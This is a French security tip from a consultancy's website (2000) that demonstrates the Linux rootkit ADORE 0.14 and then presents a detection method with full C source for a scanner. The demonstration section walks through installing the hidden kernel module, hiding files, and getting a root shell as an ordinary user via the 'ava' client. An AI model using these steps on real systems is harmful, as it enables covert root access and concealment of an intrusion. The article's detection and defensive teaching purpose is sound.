HSC
Network Security Consulting Agency Since 1989 - Specialized in Unix, Windows, TCP/IP and Internet
Text mode: access to the page content
Hervé Schauer Consultants
You are here: Home > Resources > Tips > Présentation et détection du rootkit ADORE
Go to: HSC Trainings
Télécharger le catalogue des formations
Search:  
Version française
   Services   
o Skills & Expertise
o Consulting
o ISO 27001 services
o Audit & Assessment
o Penetration tests
o Vunerability assessment (TSAR)
o Forensics
o ARJEL
o Training courses
o E-learning
   Conferences   
o Agenda
o Past events
o Tutorials
   Resources   
o Thematic index
o Tips
o Lectures
o Courses
o Articles
o Tools (download)
o Vulnerability watch
   Company   
o Hervé Schauer
o Team
o Job opportunities
o Credentials
o History
o Partnerships
o Associations
   Press and
 communication
 
 
o HSC Newsletter
o Bulletin juridique HSC
o Press review
o Press releases
o Publications
   Contacts   
o How to reach us
o Specific inquiries
o Directions to our office
o Hotels near our office
|>|Présentation et détection du rootkit ADORE  

by Stéphane Aubert (16/10/2000)




--[ Introduction ]---------------------------------------------------------

  ADORE est  un rootkit pour  Linux qui, via  un module, vient  ajouter des
fonctionnalités au  noyau. Ainsi, il  peut cacher des fichiers,  cacher des
processus ou permettre  à tout utilisateur de passer des  commandes en tant
que root.


--[ Installation ]---------------------------------------------------------

La  version   de  adore   0.14  est  téléchargeable   en  sources  sur  PSS
(http://packetstorm.securify.com/) elle contient les fichiers suivants :

safe [aubert] /work/HACK% tar tvzf ../adore-0.14.tar.gz 
drwxr-xr-x root/root         0 2000-02-20 20:56 adore/
-rw-r--r-- root/root     14330 2000-02-20 20:41 adore/adore.c
-rw-r--r-- root/root       264 2000-02-20 20:36 adore/Makefile
-rw-r--r-- root/root      2957 2000-02-20 18:06 adore/ava.c
-rw-r--r-- 33/root        1660 1999-12-29 20:56 adore/LICENSE
-rw-r--r-- root/root       585 2000-02-20 18:42 adore/README

Après tar xvzf adore-0.14.tar.gz, lancer cd adore;make pour la compiler.

Par défault, adore est compilé avec les options :
   -DBEHAVE_STEALTH -DHIDDEN_SERVICE="\":31337\"" -DELITE_CMD=50000

Il est aussi possible d'utiliser l'option -DUSE_SLOWER_HEROIN_METHOD.

Pour installer adore il suffit d'insérer le module en tant que root (su -) :

safe [root] /work/HACK/adore# insmod adore.o 

Vous pouvez vérifier qu'il est bien caché ;-) :

safe [root] /work/HACK/adore# lsmod
Module                  Size  Used by
3c589_cs                8072   2 
serial_cs               5040   0  (unused)
ds                      6024   2  [3c589_cs serial_cs]
i82365                 21276   2 
pcmcia_core            43264   0  [3c589_cs serial_cs ds i82365]
bsd_comp                3620   0  (unused)
slip                    5160   0  (unused)
nls_cp437               3676   2  (autoclean)

Il est probable que  si adore est le SEUL ou le premier  module chargé , la
procédure qui le cache ne marche pas.

Vous pouvez même essayer de le supprimer ;-) :

safe [root] /work/HACK/adore# rmmod adore
rmmod: module adore not loaded

C'est trop tard !

--[ Utilisation ]----------------------------------------------------------

Pour le piloter il faut utiliser le programme ava :

safe [aubert] /work/HACK/adore% ./ava 
Usage: ./ava {h,u,r,i,v,U} [file, PID or dummy (for 'U')]

       h hide file
       u unhide file
       r execute as root
       U uninstall adore
       i make PID invisible
       v make PID visible

On peut donc commencer à jouer avec et cacher un fichier :

safe [aubert] /work/HACK/adore% touch sahsc
safe [aubert] /work/HACK/adore% ls -l
total 56
-rw-r--r--   1 aubert   users        1660 Dec 29  1999 LICENSE
-rw-r--r--   1 aubert   users         264 Feb 20  2000 Makefile
-rw-r--r--   1 aubert   users         585 Feb 20  2000 README
-rw-r--r--   1 aubert   users       14330 Feb 20  2000 adore.c
-rw-r--r--   1 aubert   users        5460 Oct 16 01:12 adore.o
-rwxr-xr-x   1 aubert   users       14080 Oct 16 01:12 ava*
-rw-r--r--   1 aubert   users        2957 Feb 20  2000 ava.c
-rw-r--r--   1 root     root            0 Oct 16 01:14 sahsc

safe [aubert] /work/HACK/adore% ./ava h sahsc
Checking for adore  0.12 or higher ...
Adore 0.14 installed. Good luck.
File 'sahsc' hided.

safe [aubert] /work/HACK/adore% ls -l
total 56
-rw-r--r--   1 aubert   users        1660 Dec 29  1999 LICENSE
-rw-r--r--   1 aubert   users         264 Feb 20  2000 Makefile
-rw-r--r--   1 aubert   users         585 Feb 20  2000 README
-rw-r--r--   1 aubert   users       14330 Feb 20  2000 adore.c
-rw-r--r--   1 aubert   users        5460 Oct 16 01:12 adore.o
-rwxr-xr-x   1 aubert   users       14080 Oct 16 01:12 ava*
-rw-r--r--   1 aubert   users        2957 Feb 20  2000 ava.c

safe [aubert] /work/HACK/adore% ./ava u sahsc
Checking for adore  0.12 or higher ...
Adore 0.14 installed. Good luck.
File 'sahsc' unhided.

safe [aubert] /work/HACK/adore% ls -artli    
total 64
 155595 -rw-r--r--   1 aubert   users        1660 Dec 29  1999 LICENSE
 155594 -rw-r--r--   1 aubert   users        2957 Feb 20  2000 ava.c
 155596 -rw-r--r--   1 aubert   users         585 Feb 20  2000 README
 155593 -rw-r--r--   1 aubert   users         264 Feb 20  2000 Makefile
 155592 -rw-r--r--   1 aubert   users       14330 Feb 20  2000 adore.c
 123023 drwxr-xr-x   7 aubert   users        4096 Oct 15 19:17 ../
 155598 -rwxr-xr-x   1 aubert   users       14080 Oct 16 01:12 ava*
 155597 -rw-r--r--   1 aubert   users        5460 Oct 16 01:12 adore.o
 155599 -rw-r--r--   1 root     root            0 Oct 16 01:14 sahsc
 155591 drwxr-xr-x   2 aubert   users        4096 Oct 16 01:14 ./


Adore est  avant tout  un rootkit et en tant que tel  il doit  permettre de
passer root pour un utilisateur lambda.

Ca c'est impressionnant :

safe [aubert] /work/HACK/adore% ./ava r "/bin/sh"
Checking for adore  0.12 or higher ...
Adore 0.14 installed. Good luck.
sh-2.03# id
uid=0(root) gid=0(root) groups=100(users),1(bin),3(sys),5(tty),102(apm)
sh-2.03# 

Et voilà je suis root !


--[ Détection ]------------------------------------------------------------

Comme  nous l'avons  vu au  début  ce  module se  cache lui-même  (commande
lsmod) Il est donc difficile a détecter.

S'il est compilé avec l'option -DELITE_CMD=50000 (ainsi que ./ava.c) il est
alors possible d'utiliser "./ava U destroy" pour le supprimer !

Si on ne  possède pas le programme  ava (ou si celui-ci est  bien caché) il
semble difficile à détecter !

Pour rire j'ai cherché des traces, j'ai même essayé dans le swap :

safe [root] /work/HACK/adore# fdisk -l
...
/dev/hda7           682       730    393561   82  Linux swap
safe [root] /work/HACK/adore# strings /dev/hda7 | grep -i adore
safe [root] /work/HACK/adore# 

Rien ? j'ai pas du bien cherché ! ;-))

Je pense  qu'il est possible à  détecter  simplement avec un  petit scanner
qui  va essayer  successivement tous  les  UID  possibles  (tous sauf  ceux
existant dans /etc/passwd).                          

Pourquoi  faire ca  ? Simplement  parceque  le programme  ./ava obtient  la
version du module adore en appelant la fonction setuid(ELITE_CMD+2).

Le programme adore_scan permet de détecter la présence de ce rootkit furtif
(au moins jusqu'à la version 0.14).

Voici son résultat sur un système sain :

safe [root] /work/HACK/adore# ./adore_scan                         

-=-   Adore Rootkit Scanner   -=-
-=- by Stephane.Aubert@hsc.fr -=-

ADORE rootkit NOT DETECTED on this system.


Insérons le vilain module :

safe [root] /work/HACK/adore# insmod adore.o

Exécutons de nouveau adore_scan :

safe [root] /work/HACK/adore# ./adore_scan  

-=-   Adore Rootkit Scanner   -=-
-=- by Stephane.Aubert@hsc.fr -=-

ADORE rootkit (version 0.14) is running with ELITE_CMD=50000 !


--[ adore_scan.c ]---------------------------------------------------------

/** adore_scan.c (C) 2000 by Stephane Aubert
 ** <Stephane.Aubert@hsc.fr>
 ** Adore Rootkit Scanner (until version 0.14)
 ** Compile: gcc -o adore_scan -Wall adore_scan.c
 ** Usage: ./adore_scan
 **/
#include <pwd.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
  int version;
  uid_t uid;
  printf("\n-=-   Adore Rootkit Scanner   -=-\n-=- by Stephane.Aubert@hsc.fr -=-\n\n");
  // for all possible UIDs
  for( uid=65535; uid>=2; uid-- ) {
    if( getpwuid(uid) == NULL ) { // if UID is not in /etc/passwd
      if(  (version=setuid( uid )) >=0 ) {
        printf("ADORE rootkit (version 0.%d) is running with ELITE_CMD=%d !\n\n",
               version, uid-2 );
        return 1;
      }
    }
  }
  printf("ADORE rootkit NOT DETECTED on this system.\n\n");
  return 0;
}

--[ EOF ]------------------------------------------------------------------



Last modified on 14 April 2004 at 14:28:42 CET - webmaster@hsc.fr
Mentions légales - Information on this server - © 1989-2013 Hervé Schauer Consultants